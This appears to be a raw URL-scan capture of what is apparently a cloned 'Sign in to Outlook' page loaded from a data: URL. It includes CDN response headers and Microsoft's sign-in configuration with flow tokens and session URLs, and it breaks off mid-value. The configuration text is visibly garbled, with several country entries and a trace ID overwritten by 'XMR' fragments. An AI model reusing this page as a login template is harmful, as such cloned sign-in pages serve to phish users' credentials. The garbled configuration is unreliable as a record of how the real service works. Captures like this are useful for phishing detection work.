<!-- ko if: svr.urlCBPartnerPreload -->

<!-- /ko --></div></body></html>
Protocol
H2
Security
TLS 1.3, , AES_256_GCM
Server
152.199.23.37 , United States, ASN15133 (EDGECAST, US),
Reverse DNS
Software
ECAcc (lhd/371C) /
Resource Hash
1b31b0ffabf72e2545aaad397417ba58f66eb3d57a232e115085136a497ffb34

Request headers

Referer
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.72 Safari/537.36

Response headers

x-ms-blob-type
BlockBlob
date
Wed, 10 Mar 2021 10:28:00 GMT
content-encoding
gzip
content-md5
77s7HX/qO+HbHX0PjIhH1A==
age
2250912
x-cache
HIT
content-length
19615
x-ms-lease-status
unlocked
last-modified
Thu, 11 Feb 2021 19:27:28 GMT
server
ECAcc (lhd/371C)
etag
0x8D8CEC311CB1846
vary
Accept-Encoding
content-type
text/css
access-control-allow-origin
*
x-ms-request-id
8a081d76-e01e-0094-231f-017244000000
access-control-expose-headers
x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
cache-control
public, max-age=31536000
x-ms-version
2009-09-19
accept-ranges
bytes
ux.converged.login.strings-en.min_asthhb7t8jihncsg5l7_cg2.js
aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ Frame 83F5 		41 KB
12 KB 		Fetch
General
Check archive.org
Download Go to
Full URL
https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_asthhb7t8jihncsg5l7_cg2.js
Requested by
Host: text
URL: data:text/html;base64,<html dir="ltr" class="" lang="en"><head>
    <title>Sign in to Outlook</title>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=2.0, user-scalable=yes">
    <meta http-equiv="Pragma" content="no-cache">
    <meta http-equiv="Expires" content="-1">
    <link rel="preconnect" href="https://aadcdn.msftauth.net" crossorigin="">
<meta http-equiv="x-dns-prefetch-control" content="on">
<link rel="dns-prefetch" href="//aadcdn.msftauth.net">
<link rel="dns-prefetch" href="//aadcdn.msauth.net">

    <meta name="PageID" content="ConvergedSignIn">
    <meta name="SiteID" content="">
    <meta name="ReqLC" content="1033">
    <meta name="LocLC" content="en-US">



<script type="text/javascript">//<![CDATA[
$Config={"fShowPersistentCookiesWarning":false,"urlMsaSignUp":"https://login.live.com/oauth20_authorize.srf?response_type=code\u0026client_id=51483342-085c-4d86-bf88-cf50c7252078\u0026scope=openid+profile+email+offline_access\u0026response_mode=form_post\u0026redirect_uri=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2ffederation%2foauth2\u0026state=rQIIAY2RvYvTYADG8za9XFsVixzo5iFOHmnzpknaBBxK2rS9Xr_t51LSfDRpm75pmzS9_gWOB4LDLYKL0ElOEDkcnE-QcuOBuzgcIghuej0XN32GHw882_N7hMMIFB5Sf0KTG5KUrkNS0Tbtr0zvhMIW--T8069Xxdefn21f_nh7eQyC3ZE51yIKslbgvuE49kyIRpHrjBAaRpCum8r1GEWeHH0HwBqAlS_OxeIsxdEczVIMw_MMR0W4OKX0VBqScg9SJMNwkORlniFVyPRYOqEoTEy78N0uJV3HoDdAU3OpffcFdTS1ujaaOcf4e5BSXF6c5TwpnTIaxa50oLeted3iK4t01c4YakMSObZJehlpKtfnWWepi2q8WSvMWs3D2mA_15brbq3fkOXJMDms9GEvW99fjpHtHqTFUj7XHCc9g_fyznAwH8-SRkczeba7bLG6PS1mxcki0y52B4lscRBnDvkKVHS1VRwsel13CJuUY6RNK5ZQS1BVGz2xbZNjr8ras3ImYRQK-gr_Lw0nOHH1p4XGZziBbG1sqms_-Oq_SeFCIBAKY_ewXeynH7zcutL1Yuej1Hr-Jnli2ud3lRR2thWt2lKWjbH5HM0rjULZ4VnN8ZqddK5an6C9QT9bLhilkTma7nmPOQEeEeCIIE6JYAAPYw9wsQy_EOAbAZ5uY6fBf_m-CO3Q1JVSKkZS3C6EAuQFJtZZ3wAfbmG_AQ2\u0026estsfed=1\u0026uaid=d254356dffce4ea7b0dd9307eef5b6ee\u0026signup=1\u0026lw=1\u0026fl=easi2\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352\u0026fci=00000002-0000-0ff1-ce00-000000000000","urlMsaLogout":"https://login.live.com/logout.srf?iframed_by=https%3a%2f%2flogin.microsoftonline.com","urlOtherIdpForget":"https://login.live.com/forgetme.srf?iframed_by=https%3a%2f%2flogin.microsoftonline.com","showCantAccessAccountLink":true,"fEnableShowResendCode":true,"iShowResendCodeDelay":90000,"sSMSCtryPhoneData":"AF~Afghanistan~93!!!AX~Åland Islands~358!!!AL~Albania~355!!!DZ~Algeria~213!!!AS~American Samoa~1!!!AD~Andorra~376!!!AO~Angola~244!!!AI~Anguilla~1!!!AG~Antigua and Barbuda~1!!!AR~Argentina~54!!!AM~Armenia~374!!!AW~Aruba~297!!!AC~Ascension Island~247!!!AU~Australia~61!!!AT~Austria~XMR~Belarus~375!!!BE~Belgium~32!!!BZ~Belize~501!!!BJ~Benin~229!!!BM~Bermuda~1!!!BT~Bhutan~975!!!BO~Bolivia~591!!!BQ~Bonaire~599!!!BA~Bosnia and Herzegovina~387!!!BW~Botswana~267!!!BR~Brazil~55!!!IO~British Indian Ocean Territory~246!!!VG~British Virgin Islands~1!!!BN~Brunei~673!!!BG~Bulgaria~359!!!BF~Burkina Faso~226!!!BI~Burundi~257!!!CV~Cabo Verde~238!!!KH~Cambodia~855!!!CM~Cameroon~237!!!CA~Canada~1!!!KY~Cayman Islands~1!!!CF~Central African Republic~236!!!TD~Chad~235!!!CL~Chile~56!!!CN~China~86!!!CX~Christmas Island~61!!!CC~Cocos (Keeling) Islands~61!!!CO~Colombia~57!!!KM~Comoros~269!!!CG~Congo~242!!!CD~Congo (DRC)~243!!!CK~Cook Islands~682!!!CR~Costa Rica~506!!!CI~Côte d\u0027Ivoire~225!!!HR~Croatia~385!!!CU~Cuba~53!!!CW~Curaçao~599!!!CY~Cyprus~357!!!CZ~Czechia~420!!!DK~Denmark~45!!!DJ~Djibouti~253!!!DM~Dominica~1!!!DO~Dominican Republic~1!!!EC~Ecuador~593!!!EG~Egypt~20!!!SV~El Salvador~503!!!GQ~Equatorial Guinea~240!!!ER~Eritrea~291!!!EE~Estonia~372!!!ET~Ethiopia~251!!!FK~Falkland Islands~500!!!FO~Faroe Islands~298!!!FJ~Fiji~679!!!FI~Finland~358!!!FR~France~33!!!GF~French Guiana~594!!!PF~French Polynesia~689!!!GA~Gabon~241!!!GM~Gambia~220!!!GE~Georgia~995!!!DE~Germany~49!!!GH~Ghana~233!!!GI~Gibraltar~350!!!GR~Greece~30!!!GL~Greenland~299!!!GD~Grenada~1!!!GP~Guadeloupe~590!!!GU~Guam~1!!!GT~Guatemala~502!!!GG~Guernsey~XMR~Hong Kong SAR~852!!!HU~Hungary~36!!!IS~Iceland~354!!!IN~India~91!!!ID~Indonesia~62!!!IR~Iran~98!!!IQ~Iraq~964!!!IE~Ireland~353!!!IM~Isle of Man~XMRKZ~Kazakhstan~7!!!KE~Kenya~254!!!KI~Kiribati~686!!!KR~Korea~82!!!KW~Kuwait~965!!!KG~Kyrgyzstan~996!!!LA~Laos~856!!!LV~Latvia~371!!!LB~Lebanon~961!!!LS~Lesotho~266!!!LR~Liberia~231!!!LY~Libya~218!!!LI~Liechtenstein~423!!!LT~Lithuania~370!!!LU~Luxembourg~352!!!MO~Macao SAR~853!!!MG~Madagascar~261!!!MW~Malawi~265!!!MY~Malaysia~60!!!MV~Maldives~960!!!ML~Mali~223!!!MT~Malta~356!!!MH~Marshall Islands~692!!!MQ~Martinique~596!!!MR~Mauritania~222!!!MU~Mauritius~230!!!YT~Mayotte~262!!!MX~Mexico~52!!!FM~Micronesia~691!!!MD~Moldova~373!!!MC~Monaco~377!!!MN~Mongolia~976!!!ME~Montenegro~382!!!MS~Montserrat~1!!!MA~Morocco~212!!!MZ~Mozambique~258!!!MM~Myanmar~95!!!NA~Namibia~264!!!NR~Nauru~674!!!NP~Nepal~977!!!NL~Netherlands~31!!!NC~New Caledonia~687!!!NZ~New Zealand~64!!!NI~Nicaragua~505!!!NE~Niger~227!!!NG~Nigeria~234!!!NU~Niue~683!!!NF~Norfolk Island~672!!!KP~North Korea~850!!!MK~North Macedonia~389!!!MP~Northern Mariana Islands~1!!!NO~Norway~XMR!!!PG~Papua New Guinea~675!!!PY~Paraguay~595!!!PE~Peru~51!!!PH~Philippines~63!!!PL~Poland~48!!!PT~Portugal~351!!!PR~Puerto Rico~1!!!QA~Qatar~974!!!RE~Réunion~262!!!RO~Romania~40!!!RU~Russia~7!!!RW~Rwanda~250!!!BL~Saint Barthélemy~590!!!KN~Saint Kitts and Nevis~1!!!LC~Saint Lucia~1!!!MF~Saint Martin~590!!!PM~Saint Pierre and Miquelon~508!!!VC~Saint Vincent and the Grenadines~1!!!WS~Samoa~685!!!SM~San Marino~378!!!ST~São Tomé and Príncipe~239!!!SA~Saudi Arabia~966!!!SN~Senegal~221!!!RS~Serbia~381!!!SC~Seychelles~248!!!SL~Sierra Leone~232!!!SG~Singapore~65!!!SX~Sint Maarten~1!!!SK~Slovakia~XMR Sudan~211!!!ES~Spain~34!!!LK~Sri Lanka~94!!!SH~St Helena, Ascension, and Tristan da Cunha~290!!!SD~Sudan~249!!!SR~Suriname~597!!!SJ~Svalbard~47!!!SZ~Swaziland~268!!!SE~Sweden~46!!!CH~Switzerland~41!!!SY~Syria~963!!!TW~Taiwan~886!!!TJ~Tajikistan~992!!!TZ~Tanzania~255!!!TH~Thailand~66!!!TL~Timor-Leste~670!!!TG~Togo~228!!!TK~Tokelau~690!!!TO~Tonga~676!!!TT~Trinidad and Tobago~1!!!TA~Tristan da Cunha~290!!!TN~Tunisia~216!!!TR~Turkey~90!!!TM~Turkmenistan~993!!!TC~Turks and Caicos Islands~1!!!TV~Tuvalu~688!!!VI~U.S. Virgin Islands~1!!!UG~Uganda~256!!!UA~Ukraine~380!!!AE~United Arab Emirates~971!!!GB~United Kingdom~XMR~39!!!VE~Venezuela~58!!!VN~Vietnam~84!!!WF~Wallis and Futuna~681!!!YE~Yemen~967!!!ZM~Zambia~260!!!ZW~Zimbabwe~263","fUseInlinePhoneNumber":true,"fDetectBrowserCapabilities":true,"urlSessionState":"https://login.microsoftonline.com/common/DeviceCodeStatus","urlResetPassword":"https://passwordreset.microsoftonline.com/?ru=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2freprocess%3fctx%3drQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX_9vb4C3l_DfgM1\u0026mkt=en-US\u0026hosted=0\u0026device_platform=Windows+10","urlMsaResetPassword":"https://account.live.com/password/reset?wreply=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2freprocess%3fctx%3drQIIAY2RvYvTYACHk6aXa6tikQPdPMTJI23efLUJOJS0aXu9ftvPpaT5aNI2fdMkbXr9CxwPBAcXwUXoJCeIHA7OJ0i58cBdHA4RBDdtucVNf8PDb36eRxiIAeEheT2K2JIgdR0QirZ9f825E4la7JOLz79fl958ebZ79fPd1Qq9b3ie7QrxOJx5YwhHMajrpqLFFGjFoS_H36PoGkVXgQRHJ1iSoziKJRmG5xmOjHEJUumrFCDkPiAJhuEAwcs8Q6iA6bNUUlEYWrsM3C6nZp5BbQEdc6n9CIR16Fg9G7reC-wDmlZmvOjmfSmTNpqlnnSkd6x5w-Kri0zNzhpqUxI5tkX4WcmRG_Oct9RFNdGqF91267g-PMx35MasPmjK8nSUGlUHoJ9rHC4n0J4dZcRyId-apHyD9wveaDifuCmjq5k821u2Wd12Sjlxush2Sr1hMlcaJphjvgoUXW2Xhot-bzYCLdIzMqZFJ9UyUNVmX-zYxMSvsbZbySaNYlFfYf-l_hTDNz4tODnHcGhrE1NdB9FvwZskJoRCkShyD9lHfgXRVzubRC_3Pknt529Tp6Z9cVdJI-c78Zot5ViaLeQpXmkWKx7Pap7f6mbytcYUHgwHuUrRKI_NsXPgP-YEcIKjJzh-hodDWBR5gIkV8BVHv-Po013kLPyv3peRPYrcJCVpguT2ARAALzB0d30D_XgL-QM1\u0026mkt=en-US\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352","urlSignUp":"https://login.live.com/oauth20_authorize.srf?response_type=code\u0026client_id=51483342-085c-4d86-bf88-cf50c7252078\u0026scope=openid+profile+email+offline_access\u0026response_mode=form_post\u0026redirect_uri=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2ffederation%2foauth2\u0026state=rQIIAY2RvYvTYADG8za9XFsVixzo5iFOHmnzpknaBBxK2rS9Xr_t51LSfDRpm75pmzS9_gWOB4LDLYKL0ElOEDkcnE-QcuOBuzgcIghuej0XN32GHw882_N7hMMIFB5Sf0KTG5KUrkNS0Tbtr0zvhMIW--T8069Xxdefn21f_nh7eQyC3ZE51yIKslbgvuE49kyIRpHrjBAaRpCum8r1GEWeHH0HwBqAlS_OxeIsxdEczVIMw_MMR0W4OKX0VBqScg9SJMNwkORlniFVyPRYOqEoTEy78N0uJV3HoDdAU3OpffcFdTS1ujaaOcf4e5BSXF6c5TwpnTIaxa50oLeted3iK4t01c4YakMSObZJehlpKtfnWWepi2q8WSvMWs3D2mA_15brbq3fkOXJMDms9GEvW99fjpHtHqTFUj7XHCc9g_fyznAwH8-SRkczeba7bLG6PS1mxcki0y52B4lscRBnDvkKVHS1VRwsel13CJuUY6RNK5ZQS1BVGz2xbZNjr8ras3ImYRQK-gr_Lw0nOHH1p4XGZziBbG1sqms_-Oq_SeFCIBAKY_ewXeynH7zcutL1Yuej1Hr-Jnli2ud3lRR2thWt2lKWjbH5HM0rjULZ4VnN8ZqddK5an6C9QT9bLhilkTma7nmPOQEeEeCIIE6JYAAPYw9wsQy_EOAbAZ5uY6fBf_m-CO3Q1JVSKkZS3C6EAuQFJtZZ3wAfbmG_AQ2\u0026estsfed=1\u0026uaid=d254356dffce4ea7b0dd9307eef5b6ee\u0026signup=1\u0026lw=1\u0026fl=easi2\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352\u0026fci=00000002-0000-0ff1-ce00-000000000000","urlGetCredentialType":"https://login.microsoftonline.com/common/GetCredentialType?mkt=en-US","urlGetOneTimeCode":"https://login.microsoftonline.com/common/GetOneTimeCode","urlLogout":"https://login.microsoftonline.com/common/uxlogout","urlForget":"https://login.microsoftonline.com/forgetuser","urlDisambigRename":"https://go.microsoft.com/fwlink/p/?LinkID=733247","urlCBPartnerPreload":"https://outlook.office365.com/owa/prefetch.aspx","urlPIAEndAuth":"https://login.microsoftonline.com/common/PIA/EndAuth","fKMSIEnabled":false,"iLoginMode":1,"fAllowPhoneSignIn":true,"fAllowPhoneInput":true,"iMaxPollErrors":5,"iPollingTimeout":60,"srsSuccess":true,"fShowSwitchUser":true,"arrValErrs":["50058"],"sErrorCode":"50058","sErrTxt":"","sResetPasswordPrefillParam":"username","onPremPasswordValidationConfig":{"isUserRealmPrecheckEnabled":true},"fSwitchDisambig":true,"fUseConsumerEmailError":true,"oCancelPostParams":{"error":"access_denied","error_subcode":"cancel","state":"Dcu9CsIwFEDhVN_FLfYmvUm9QxERpGhdVFC65W-wGFraUvHtzfCd7WSMsXWySjJIYaUuSgVaaqkAkQg1bHUJznopuLECOKIWnAwh9wKtkjvnsAhZei95_zX5fprNHCqxGYN_j8HNj74y9Q1cfdXNjxb_uk1W0thEim38dO1ddVbCYp-nwR5psPG8hMMf"},"iRemoteNgcPollingType":2,"fUseNewNoPasswordTypes":true,"fAccessPassSupported":true,"fShowAccessPassPeek":true,"urlAadSignup":"https://signup.microsoft.com/signup?sku=teams_commercial_trial\u0026origin=ests\u0026culture=en-US","urlOidcDiscoveryEndpointFormat":"https://login.microsoftonline.com/{0}/.well-known/openid-configuration","urlTenantedEndpointFormat":"https://login.microsoftonline.com/{0}/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000\u0026redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f\u0026resource=00000002-0000-0ff1-ce00-000000000000\u0026response_mode=form_post\u0026response_type=code+id_token\u0026scope=openid\u0026msafed=0\u0026client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee\u0026protectedtoken=true\u0026claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d\u0026nonce=637506262504499460.670cbd21-ab10-4461-9a94-d14b528cc43e\u0026state=Dcu9CsIwFEDhVN_FLfYmvUm9QxERpGhdVFC65W-wGFraUvHtzfCd7WSMsXWySjJIYaUuSgVaaqkAkQg1bHUJznopuLECOKIWnAwh9wKtkjvnsAhZei95_zX5fprNHCqxGYN_j8HNj74y9Q1cfdXNjxb_uk1W0thEim38dO1ddVbCYp-nwR5psPG8hMMf\u0026allowbacktocommon=True","sCloudInstanceName":"microsoftonline.com","fShowSignInOptionsAsButton":true,"fImprovePhoneDisambig":true,"iMaxStackForKnockoutAsyncComponents":10000,"fShowButtons":true,"urlCdn":"https://aadcdn.msftauth.net/shared/1.0/","urlFooterTOU":"https://www.microsoft.com/en-US/servicesagreement/","urlFooterPrivacy":"https://privacy.microsoft.com/en-US/privacystatement","urlPost":"https://login.microsoftonline.com/common/login","urlPostAad":"https://login.microsoftonline.com/common/login","urlPostMsa":"https://login.live.com/ppsecure/partnerpost.srf?response_type=code\u0026client_id=51483342-085c-4d86-bf88-cf50c7252078\u0026scope=openid+profile+email+offline_access\u0026response_mode=form_post\u0026redirect_uri=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2ffederation%2foauth2\u0026state=rQIIAY2RvYvTYADG8za9XFsVixzo5iFOHmnzpknaBBxK2rS9Xr_t51LSfDRpm75pmzS9_gWOB4LDLYKL0ElOEDkcnE-QcuOBuzgcIghuej0XN32GHw882_N7hMMIFB5Sf0KTG5KUrkNS0Tbtr0zvhMIW--T8069Xxdefn21f_nh7eQyC3ZE51yIKslbgvuE49kyIRpHrjBAaRpCum8r1GEWeHH0HwBqAlS_OxeIsxdEczVIMw_MMR0W4OKX0VBqScg9SJMNwkORlniFVyPRYOqEoTEy78N0uJV3HoDdAU3OpffcFdTS1ujaaOcf4e5BSXF6c5TwpnTIaxa50oLeted3iK4t01c4YakMSObZJehlpKtfnWWepi2q8WSvMWs3D2mA_15brbq3fkOXJMDms9GEvW99fjpHtHqTFUj7XHCc9g_fyznAwH8-SRkczeba7bLG6PS1mxcki0y52B4lscRBnDvkKVHS1VRwsel13CJuUY6RNK5ZQS1BVGz2xbZNjr8ras3ImYRQK-gr_Lw0nOHH1p4XGZziBbG1sqms_-Oq_SeFCIBAKY_ewXeynH7zcutL1Yuej1Hr-Jnli2ud3lRR2thWt2lKWjbH5HM0rjULZ4VnN8ZqddK5an6C9QT9bLhilkTma7nmPOQEeEeCIIE6JYAAPYw9wsQy_EOAbAZ5uY6fBf_m-CO3Q1JVSKkZS3C6EAuQFJtZZ3wAfbmG_AQ2\u0026flow=fido\u0026estsfed=1\u0026uaid=d254356dffce4ea7b0dd9307eef5b6ee\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352\u0026fci=00000002-0000-0ff1-ce00-000000000000","urlRefresh":"https://login.microsoftonline.com/common/reprocess?ctx=rQIIAY2RvYvTYACHk6aXa6tikQPdPMTJI23efLUJOJS0aXu9ftvPpaT5aNI2fdMkbXr9CxwPBAcXwUXoJCeIHA7OJ0i58cBdHA4RBDdtucVNf8PDb36eRxiIAeEheT2K2JIgdR0QirZ9f825E4la7JOLz79fl958ebZ79fPd1Qq9b3ie7QrxOJx5YwhHMajrpqLFFGjFoS_H36PoGkVXgQRHJ1iSoziKJRmG5xmOjHEJUumrFCDkPiAJhuEAwcs8Q6iA6bNUUlEYWrsM3C6nZp5BbQEdc6n9CIR16Fg9G7reC-wDmlZmvOjmfSmTNpqlnnSkd6x5w-Kri0zNzhpqUxI5tkX4WcmRG_Oct9RFNdGqF91267g-PMx35MasPmjK8nSUGlUHoJ9rHC4n0J4dZcRyId-apHyD9wveaDifuCmjq5k821u2Wd12Sjlxush2Sr1hMlcaJphjvgoUXW2Xhot-bzYCLdIzMqZFJ9UyUNVmX-zYxMSvsbZbySaNYlFfYf-l_hTDNz4tODnHcGhrE1NdB9FvwZskJoRCkShyD9lHfgXRVzubRC_3Pknt529Tp6Z9cVdJI-c78Zot5ViaLeQpXmkWKx7Pap7f6mbytcYUHgwHuUrRKI_NsXPgP-YEcIKjJzh-hodDWBR5gIkV8BVHv-Po013kLPyv3peRPYrcJCVpguT2ARAALzB0d30D_XgL-QM1","urlCancel":"https://outlook.office.com/owa/","urlResume":"https://login.microsoftonline.com/common/resume?ctx=rQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX_9vb4C3l_DfgM1","iPawnIcon":0,"iPollingInterval":1,"sPOST_Username":"","sFT":"AQABAAEAAAD--DLA3VO7QrddgJg7WevrRZTv_7Mb56t0hEeulUDrRcx_PrhgMaupbyATtZfnRmsr18Ns6bZeyhLJ1eOhKOnFIl6As2C4PhDXGxoZYPQCJYMIRRKr8ux4CsNTxcFzaXtH8i4WhcmS7ecGfOwgsEIVNDGwSpUGaJVE5hF95hDnnCNyGK_bhmTqyz6aktMGGx5m07pD2WI8szP5dzRNBTf9nDe5wmALyovRL4QGU3Roof-vR2Aym-8NckBbRT6L6v50qlPGbusTZS0j8w2DjusHfPzbrh99tS7cHYVbUgPuOy1Z7LLWXQzU2PgT72j3DRNleKnyZJHGTzg7SPUzw3eF02PyFz9LuryM90UxKbAU3owifX16Wi7WyrfNIT_L4w7faCgTowaCm1B_wc1vzXm6atwnqmAPiHldhhb-PcNhc5IWpsCYnqSjZ5kxVfd0j7ZQn-82JFyBEWT8g9X8_oxIjc3cTLLMZ5ygI6YaXUul8wNzUbXr039ZNLDxC2Nc4NYgAA","sFTName":"flowToken","sFTCookieName":"ESTSWCTXFLOWTOKEN","sSessionIdentifierName":"code","sCtx":"rQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX_9vb4C3l_DfgM1","iProductIcon":-1,"staticTenantBranding":null,"oAppCobranding":{"backgroundLogoIndex":53,"backgroundImageIndex":49,"friendlyAppName":"Outlook"},"iBackgroundImage":2,"arrSessions":[],"fApplicationInsightsEnabled":false,"iApplicationInsightsEnabledPercentage":0,"urlSetDebugMode":"https://login.microsoftonline.com/common/debugmode","fEnableCssAnimation":true,"fAllowGrayOutLightBox":true,"fIsRemoteNGCSupported":true,"desktopSsoConfig":{"isEdgeAnaheimAllowed":true,"iwaEndpointUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/sso?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee","iwaSsoProbeUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/ssoprobe?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee","iwaIFrameUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/iframe?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee\u0026isAdalRequest=False","iwaRequestTimeoutInMs":10000,"startDesktopSsoOnPageLoad":false,"progressAnimationTimeout":10000,"isEdgeAllowed":false,"minDssoEdgeVersion":"17","isSafariAllowed":true,"redirectUri":"https://outlook.office.com/owa/","redirectDssoErrorPostParams":{"error":"interaction_required","error_description":"Seamless single sign on failed for the user. This can happen if the user is unable to access on premises AD or intranet zone is not configured correctly\r\nTrace ID: XMRnTimestamp: 2021-03-06 11:19:43Z","state":"Dcu9CsIwFEDhVN_FLfYmvUm9QxERpGhdVFC65W-wGFraUvHtzfCd7WSMsXWySjJIYaUuSgVaaqkAkQg1bHUJznopuLECOKIWnAwh9wKtkjvnsAhZei95_zX5fprNHCqxGYN_j8HNj74y9Q1cfdXNjxb_uk1W0thEim38dO1ddVbCYp-nwR5psPG8hMMf"},"isIEAllowedForSsoProbe":true,"edgeRedirectUri":"https://autologon.microsoftazuread-sso.com/common/winauth/sso/edgeredirect?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee\u0026origin=login.microsoftonline.com\u0026is_redirected=1"},"urlLogin":"https://login.microsoftonline.com/common/reprocess?ctx=rQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX_9vb4C3l_DfgM1","urlDssoStatus":"https://login.microsoftonline.com/common/instrumentation/dssostatus","iSessionPullType":2,"fUseSameSite":true,"iAllowedIdentities":1,"isGlobalTenant":true,"uiflavor":1001,"urlFidoHelp":"https://go.microsoft.com/fwlink/?linkid=2013738","urlFidoLogin":"https://login.microsoft.com/common/fido/get?uiflavor=Web\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352","fIsFidoSupported":true,"fHideLocalAccount":false,"scid":1013,"hpgact":1800,"hpgid":1104,"pgid":"ConvergedSignIn","apiCanary":"AQABAAAAA